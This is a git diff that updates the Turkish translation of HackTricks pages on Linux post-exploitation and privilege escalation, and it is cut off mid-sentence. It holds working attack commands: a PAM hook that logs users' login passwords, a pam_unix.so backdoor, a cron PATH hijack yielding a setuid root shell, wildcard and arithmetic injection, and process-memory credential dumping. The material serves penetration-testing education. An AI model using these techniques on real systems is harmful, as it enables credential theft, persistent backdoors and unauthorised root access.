diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 2b8d3938d..258ef9aa4 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,25 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## PAM ile Giriş Parolalarını Dinleme +## Sniffing Logon Passwords with PAM -Her kullanıcının giriş yapmak için kullandığı parolayı kaydetmek üzere bir PAM modülü yapılandıralım. PAM'ın ne olduğunu bilmiyorsanız kontrol edin: +Her kullanıcının login sırasında kullandığı parolayı kaydedecek bir PAM modülü yapılandıralım. PAM'in ne olduğunu bilmiyorsanız kontrol edin: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Daha fazla detay için [orijinal gönderiyi](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) kontrol edin**. Bu sadece bir özet: +**Daha fazla detay için [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)'u kontrol edin**. Bu sadece bir özet: -**Teknik Genel Bakış:** -Eklentili Kimlik Doğrulama Modülleri (PAM), Unix tabanlı sistemlerde kimlik doğrulama yönetiminde esneklik sunar. Giriş süreçlerini özelleştirerek güvenliği artırabilir, ancak kötüye kullanıldığında riskler de oluşturabilir. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalama tekniğini ve buna karşı önleme stratejilerini özetlemektedir. +**Technique Overview:** +Pluggable Authentication Modules (PAM), Unix tabanlı sistemlerde kimlik doğrulamayı yönetmede esneklik sağlar. Login süreçlerini özelleştirerek güvenliği artırabilirler ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak login kimlik bilgilerini ele geçirme tekniğini ve azaltma stratejilerini ana hatlarıyla verir. -**Kimlik Bilgilerini Yakalama:** +**Capturing Credentials:** -- `toomanysecrets.sh` adlı bir bash betiği, giriş denemelerini kaydetmek için oluşturulmuştur; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin üzerinden) ve uzak ana bilgisayar IP'si (`$PAM_RHOST`) bilgilerini `/var/log/toomanysecrets.log` dosyasına kaydeder. -- Betik çalıştırılabilir hale getirilir ve `pam_exec.so` modülü kullanılarak PAM yapılandırmasına (`common-auth`) entegre edilir; bu, sessizce çalıştırma ve kimlik doğrulama belirtecini betiğe açma seçenekleri ile yapılır. -- Bu yaklaşım, ele geçirilmiş bir Linux ana bilgisayarının kimlik bilgilerini gizlice kaydetmek için nasıl istismar edilebileceğini göstermektedir. +- `toomanysecrets.sh` adında bir bash script oluşturularak login denemelerini kaydeder; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin aracılığıyla) ve remote host IP (`$PAM_RHOST`) `/var/log/toomanysecrets.log` dosyasına yazılır. +- Script çalıştırılabilir hale getirilir ve `common-auth` PAM konfigürasyonuna `pam_exec.so` modülü ile sessiz çalıştırma ve authentication token'ını script'e açma seçenekleri kullanılarak entegre edilir. +- Bu yaklaşım, ele geçirilmiş bir Linux hostunun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -30,25 +30,53 @@ sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` -### PAM'e Arka Kapı Eklemek +### Backdooring PAM -**Daha fazla detay için [orijinal gönderiye](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) bakın**. Bu sadece bir özet: +**Daha fazla detay için [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)’a bakın.** Bu sadece bir özet: -Eklentili Kimlik Doğrulama Modülü (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: **kullanıcı adı**, **şifre** ve **hizmet**. Her hizmetin yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; burada paylaşılan kütüphaneler kimlik doğrulamasını yönetir. +Pluggable Authentication Module (PAM), Linux altında kullanıcı doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: **kullanıcı adı**, **parola** ve **servis**. Her servis için yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; kimlik doğrulamayı paylaşılan kütüphaneler yönetir. -**Amaç**: PAM'i, belirli bir şifre ile kimlik doğrulamasına izin verecek şekilde değiştirmek, gerçek kullanıcı şifresini atlayarak. Bu, şifre doğrulaması için neredeyse tüm hizmetler tarafından dahil edilen `common-auth` dosyasında kullanılan `pam_unix.so` paylaşılan kütüphanesine özellikle odaklanmaktadır. +**Amaç**: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamasına izin verecek şekilde değiştirmek. Bu özellikle `pam_unix.so` paylaşılan kütüphanesine odaklanır; bu kütüphane parola doğrulaması için neredeyse tüm servisler tarafından dahil edilen `common-auth` dosyası tarafından kullanılır. -### `pam_unix.so`'yu Değiştirme Adımları: +### Steps for Modifying `pam_unix.so`: -1. **Kimlik Doğrulama Yönergesini Bulun** `common-auth` dosyasında: - - Bir kullanıcının şifresini kontrol eden satır `pam_unix.so`'yu çağırır. -2. **Kaynak Kodunu Değiştirin**: - - `pam_unix_auth.c` kaynak dosyasında, önceden tanımlanmış bir şifre kullanıldığında erişim izni veren bir koşullu ifade ekleyin, aksi takdirde normal kimlik doğrulama sürecine devam edin. -3. **Derleyin ve Değiştirilmiş** `pam_unix.so` kütüphanesini uygun dizinde değiştirin. +1. **Kimlik Doğrulama Direktifini Bulun** `common-auth` dosyasında: +- Bir kullanıcının parolasını kontrol eden satır `pam_unix.so`'yu çağırır. +2. **Kaynak Kodu Değiştirin**: +- `pam_unix_auth.c` kaynak dosyasına, önceden tanımlanmış bir parola kullanıldığında erişim veren; aksi halde normal kimlik doğrulama sürecine devam eden bir koşul ifadesi ekleyin. +3. **Yeniden Derleyin ve Değiştirin**: +- Değiştirilmiş `pam_unix.so` kütüphanesini uygun dizinde yeniden derleyip yerine koyun. 4. **Test**: - - Önceden tanımlanmış şifre ile çeşitli hizmetlere (giriş, ssh, sudo, su, ekran koruyucu) erişim izni verilirken, normal kimlik doğrulama süreçleri etkilenmez. +- Önceden tanımlanmış parola ile login, ssh, sudo, su, screensaver gibi çeşitli servislerde erişim sağlanır; normal kimlik doğrulama süreçleri etkilenmez. > [!TIP] -> Bu süreci [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ile otomatikleştirebilirsiniz. +> Bu işlemi [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ile otomatikleştirebilirsiniz + +## Homedir taşınarak GPG loot'un şifresini çözme + +Eğer şifreli bir `.gpg` dosyası ve bir kullanıcının `~/.gnupg` klasörünü (pubring, private-keys, trustdb) bulursanız fakat GnuPG homedir izinleri/kilitleri nedeniyle şifreyi çözemiyorsanız, keyring'i yazılabilir bir konuma kopyalayın ve bunu GPG home olarak kullanın. + +Bunu yapmazsanız göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyamaz/yazamaz). + +İş akışı: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +Gizli anahtar materyali `private-keys-v1.d` içinde mevcutsa, GPG parola sormadan kilidi açar ve şifreyi çözer (veya anahtar korunuyorsa parola ister). + + +## Referanslar + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 43b1314a7..300ec0cca 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,54 +2,54 @@ {{#include ../../banners/hacktricks-training.md}} -## Sistem Bilgileri +## Sistem Bilgisi ### OS bilgisi -Çalışan işletim sistemi hakkında bazı bilgiler edinmeye başlayalım. +Çalışan işletim sistemi hakkında bilgi edinmeye başlayalım. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Eğer **`PATH` değişkeninin içindeki herhangi bir dizin üzerinde yazma izinlerine sahipseniz** bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz: +Eğer `PATH` değişkenindeki herhangi bir klasörde **yazma izinlerine** sahipseniz bazı kütüphaneleri veya ikili dosyaları hijack edebilirsiniz: ```bash echo $PATH ``` ### Ortam bilgisi -Ortam değişkenlerinde ilginç bilgiler, parolalar veya API anahtarları var mı? +Çevresel değişkenlerde ilginç bilgiler, parolalar veya API anahtarları var mı? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kernel version'ı kontrol edin ve escalate privileges için kullanılabilecek herhangi bir exploit olup olmadığını kontrol edin +Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -İyi bir vulnerable kernel listesi ve bazı **compiled exploits** içeren örnekleri şurada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Burada iyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -O web sitesinden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: +O siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Kernel exploitlerini aramak için yardımcı olabilecek araçlar şunlardır: +Çekirdek exploit'lerini aramanıza yardımcı olabilecek araçlar: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, yalnızca kernel 2.x için exploitleri kontrol eder) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Her zaman **kernel sürümünü Google'da arayın**; belki kernel sürümünüz bazı kernel exploit'lerinde belirtilmiştir ve böylece bu exploit'in geçerli olduğundan emin olabilirsiniz. +Her zaman **çekirdek sürümünü Google'da arayın**, belki çekirdek sürümünüz bazı kernel exploit'lerinde yazılıdır ve bu sayede bu exploit'in geçerli olduğundan emin olursunuz. ### CVE-2016-5195 (DirtyCow) -Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo sürümü +### Sudo version -Şu dosyada görünen savunmasız sudo sürümlerine dayanarak: +Aşağıda görünen zayıf Sudo sürümlerine dayanır: ```bash searchsploit sudo ``` -sudo sürümünün savunmasız olup olmadığını bu grep ile kontrol edebilirsiniz. +sudo sürümünün vulnerable olup olmadığını bu grep ile kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash ``` ### Dmesg imza doğrulaması başarısız oldu -Bu vuln'ün nasıl istismar edilebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın. +Bu vuln'un nasıl sömürülebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Daha fazla system enumeration +### Daha fazla sistem keşfi ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Olası savunmaları listeleyin +## Olası savunmaları sıralayın ### AppArmor ```bash @@ -123,78 +123,78 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: +Eğer bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: {{#ref}} docker-security/ {{#endref}} -## Diskler +## Sürücüler -Hangi şeylerin **mounted ve unmounted** olduğunu, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz. +Kontrol edin **nelerin bağlandığını ve bağlanmadığını**, nerede ve neden. Eğer bir şey bağlanmamışsa, onu bağlamayı deneyebilir ve özel bilgileri kontrol edebilirsiniz. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Yararlı yazılımlar +## Kullanışlı yazılımlar -Yararlı ikili dosyaları listeleyin +Kullanışlı binaries'leri listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, kernel exploit kullanmanız gerekirse faydalıdır çünkü kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. +Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**. Bu, bazı kernel exploit'lerini kullanmanız gerekirse faydalıdır; genellikle bu exploit'leri kullanacağınız makinede (ya da benzer bir makinede) derlemeniz tavsiye edilir. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Zayıf Yazılımlar Yüklü +### Güvenlik Açığı Olan Yazılımlar -Yüklü paketlerin ve servislerin **sürümünü** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır; bu sürüm escalating privileges için istismar edilebilir…\ -Daha şüpheli görünen yüklü yazılımların sürümlerinin elle kontrol edilmesi önerilir. +Yüklü paketlerin ve servislerin **sürümlerini** kontrol edin. Belki eski bir Nagios sürümü vardır (örneğin) ve bu sürüm escalating privileges elde etmek için exploited edilebilir…\ +Daha şüpheli görünen yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve zafiyetli yazılımları kontrol etmek için **openVAS** kullanabilirsiniz. +Makinaya SSH erişiminiz varsa, içinde yüklü olan güncel olmayan ve güvenlik açığı bulunan yazılımları kontrol etmek için **openVAS** kullanabilirsiniz. -> [!NOTE] > _Bu komutlar çoğunlukla büyük oranda işe yaramayacak çok fazla bilgi gösterecektir; bu nedenle yüklü herhangi bir yazılım sürümünün bilinen exploit'lere karşı savunmasız olup olmadığını kontrol eden OpenVAS veya benzeri uygulamaların kullanılması önerilir._ +> [!NOTE] > _Bu komutlar çoğunlukla işe yaramayacak çok fazla bilgi gösterecektir; bu nedenle yüklü yazılım sürümlerinin bilinen exploits'e karşı zafiyetli olup olmadığını kontrol eden OpenVAS veya benzeri uygulamaların kullanılması önerilir_ ## İşlemler -**Hangi işlemlerin** çalıştırıldığını inceleyin ve herhangi bir işlemin olması gerekenden **daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (örneğin tomcat'in root olarak çalıştırılması?). +Hangi **işlemlerin** çalıştırıldığını inceleyin ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip** olup olmadığını kontrol edin (örneğin root tarafından çalıştırılan bir tomcat olabilir mi?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Ayrıca işlemlerin ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin; belki başkasınınkini üzerine yazabilirsiniz. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** prosesin komut satırındaki `--inspect` parametresini kontrol ederek bunları tespit eder.\ +Ayrıca **processlerin binaries** üzerindeki ayrıcalıklarınızı kontrol edin, belki birinin üzerine yazabilirsiniz. ### Süreç izleme -İşlemleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında yürütülen savunmasız süreçleri tespit etmek için çok faydalı olabilir. +Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında yürütülen zafiyetli süreçleri tespit etmek için çok faydalı olabilir. -### İşlem belleği +### Süreç belleği -Bazı sunucu servisleri **kimlik bilgilerini açık metin olarak bellekte** saklayabilir.\ -Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir; bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\ -Ancak, düzenli bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi unutmayın. +Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde düz metin olarak kaydeder**.\ +Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir, bu nedenle bu genellikle zaten root olduğunuzda daha faydalıdır ve daha fazla kimlik bilgisi keşfetmek için kullanılır.\ +Bununla birlikte, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi** unutmayın. > [!WARNING] -> Günümüzde çoğu makine varsayılan olarak **ptrace'e izin vermez**, bu da ayrıcalıksız kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: aynı uid'ye sahip oldukları sürece tüm süreçler debug edilebilir. Bu ptracing'in klasik çalışma şeklidir. -> - **kernel.yama.ptrace_scope = 1**: yalnızca ebeveyn süreç debug edilebilir. -> - **kernel.yama.ptrace_scope = 2**: ptrace kullanmak sadece admin'e izinlidir, çünkü CAP_SYS_PTRACE yetkisi gerektirir. -> - **kernel.yama.ptrace_scope = 3**: ptrace ile hiçbir süreç izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için yeniden başlatma gerekir. +> - **kernel.yama.ptrace_scope = 0**: tüm süreçler debug edilebilir, aynı uid'ye sahip oldukları sürece. Bu ptrace'in klasik çalışma şeklidir. +> - **kernel.yama.ptrace_scope = 1**: sadece bir parent process debug edilebilir. +> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir, çünkü CAP_SYS_PTRACE yeteneği gerektirir. +> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile trace edilemez. Bir kez ayarlandığında, ptracing'i tekrar etkinleştirmek için yeniden başlatma gerekir. #### GDB -Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i elde edip içindeki kimlik bilgilerini arayabilirsiniz. +Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i alıp içindeki kimlik bilgilerini arayabilirsiniz. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Belirli bir işlem kimliği (PID) için, **maps bir işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenen bölgenin izinlerini** gösterir. O **mem** pseudo dosyası **işlemin belleğini doğrudan açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve ofsetlerini biliriz. Bu bilgiyi kullanarak **mem dosyasında konumlanıp tüm okunabilir bölgeleri** bir dosyaya kaydederiz. +Belirli bir işlem kimliği için, **maps, belleğin o işlemin sanal adres alanında nasıl haritalandığını gösterir**; ayrıca **her haritalanmış bölgenin izinlerini** gösterir. **mem** pseudo file **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve offsetlerini biliriz. Bu bilgiyi kullanarak **mem dosyasına seek yapar ve tüm okunabilir bölgeleri bir dosyaya dump ederiz**. ```bash procdump() ( @@ -236,9 +236,9 @@ Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabil ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump için linux +### ProcDump for linux -ProcDump, Windows için Sysinternals araç takımı içindeki klasik ProcDump aracının Linux için yeniden tasarlanmış halidir. Edinmek için: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış hâlidir. Edinin: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,38 +267,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Araçlar -Bir işlemin belleğini dump etmek için şunları kullanabilirsiniz: +Bir işlemin belleğini dökmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root gereksinimlerini manuel olarak kaldırabilir ve sahip olduğunuz işlemi dump edebilirsiniz +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve size ait işlemi dökebilirsiniz - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) ### İşlem Belleğinden Kimlik Bilgileri #### Manuel örnek -Eğer authenticator işleminin çalıştığını görürseniz: +Eğer authenticator işlemi çalışıyorsa: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Process'i dump edebilirsiniz (farklı yolları bulmak için önceki bölümlere bakın: dump the memory of a process) ve memory içinde credentials arayın: +İşlemi dump edebilir (bir process'in memory'sini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve memory içinde credentials arayabilirsiniz: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) will **düz metin kimlik bilgilerini bellekten** and from some **iyi bilinen dosyalardan**. It requires root privileges to work properly. +Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten düz metin kimlik bilgilerini** ve bazı **bilinen dosyalardan** çalar. Doğru çalışması için root ayrıcalıkları gerektirir. | Özellik | Süreç Adı | | ------------------------------------------------- | -------------------- | -| GDM parolası (Kali Desktop, Debian Desktop) | gdm-password | +| GDM şifresi (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Aktif FTP Bağlantıları) | vsftpd | +| Apache2 (Aktif HTTP Basic Auth Oturumları) | apache2 | +| OpenSSH (Aktif SSH Oturumları - Sudo Kullanımı) | sshd: | #### Arama Regexleri/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,34 +314,34 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zamanlanmış/Cron görevleri +## Zamanlanmış/Cron jobs -Herhangi bir zamanlanmış görevin zafiyetli olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanabilir misin? root'un kullandığı dizine belirli dosyalar oluşturabilir misin?). +Herhangi bir zamanlanmış job'un zafiyete açık olup olmadığını kontrol edin. Belki root tarafından yürütülen bir script'ten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizine belirli dosyalar oluşturmak?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron yolu +### Cron path -Örneğin, içinde _/etc/crontab_ şu PATH'ı bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Örneğin, _/etc/crontab_ içinde PATH şu şekildedir: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Dikkat: "user" kullanıcısının /home/user üzerinde yazma iznine sahip olduğunu unutmayın_) +(_/home/user üzerinde "user" kullanıcısının yazma izinlerine sahip olduğuna dikkat edin_) -Eğer bu crontab içinde root kullanıcısı PATH ayarlamadan bir komut veya script çalıştırmaya çalışıyorsa. Örneğin: _* * * * root overwrite.sh_\ -Böylece şu komutu kullanarak root shell elde edebilirsiniz: +Eğer bu crontab içinde root kullanıcısı path'i ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ +Ardından, şu şekilde root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron ile wildcard içeren bir script kullanımı (Wildcard Injection) -Eğer bir script root tarafından çalıştırılıyorsa ve bir komut içinde “**\***” varsa, bunu beklenmedik şeyler (ör. privesc) yapmak için exploit edebilirsiniz. Örnek: +Bir script root tarafından çalıştırıldığında bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için suistimal edebilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer wildcard bir yolun öncesinde yer alıyorsa, örneğin** _**/some/path/\***_**, zafiyete açık değildir (hatta** _**./\***_ **de değildir).** +**Eğer wildcard bir yolun önünde ise örneğin** _**/some/path/\***_ **, zafiyetli değildir (hatta** _**./\***_ **de değildir).** Read the following page for more wildcard exploitation tricks: @@ -353,11 +353,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash, ((...)), $((...)) ve let içinde aritmetik değerlendirmeden önce parameter/variable expansion ve command substitution uygular. Eğer root bir cron/parser güvensiz log alanlarını okuyup bunları bir arithmetic context'e veriyorsa, saldırgan $(...) biçiminde bir command substitution enjekte edebilir ve cron çalıştığında bu root olarak çalışır. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Eğer bir root cron/parser güvenilmeyen log alanlarını okuyup bunları bir aritmetik bağlama gönderiyorsa, bir saldırgan cron çalıştığında root olarak yürütülecek bir command substitution $(...) enjekte edebilir. -- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, sonra word splitting ve pathname expansion. Bu yüzden 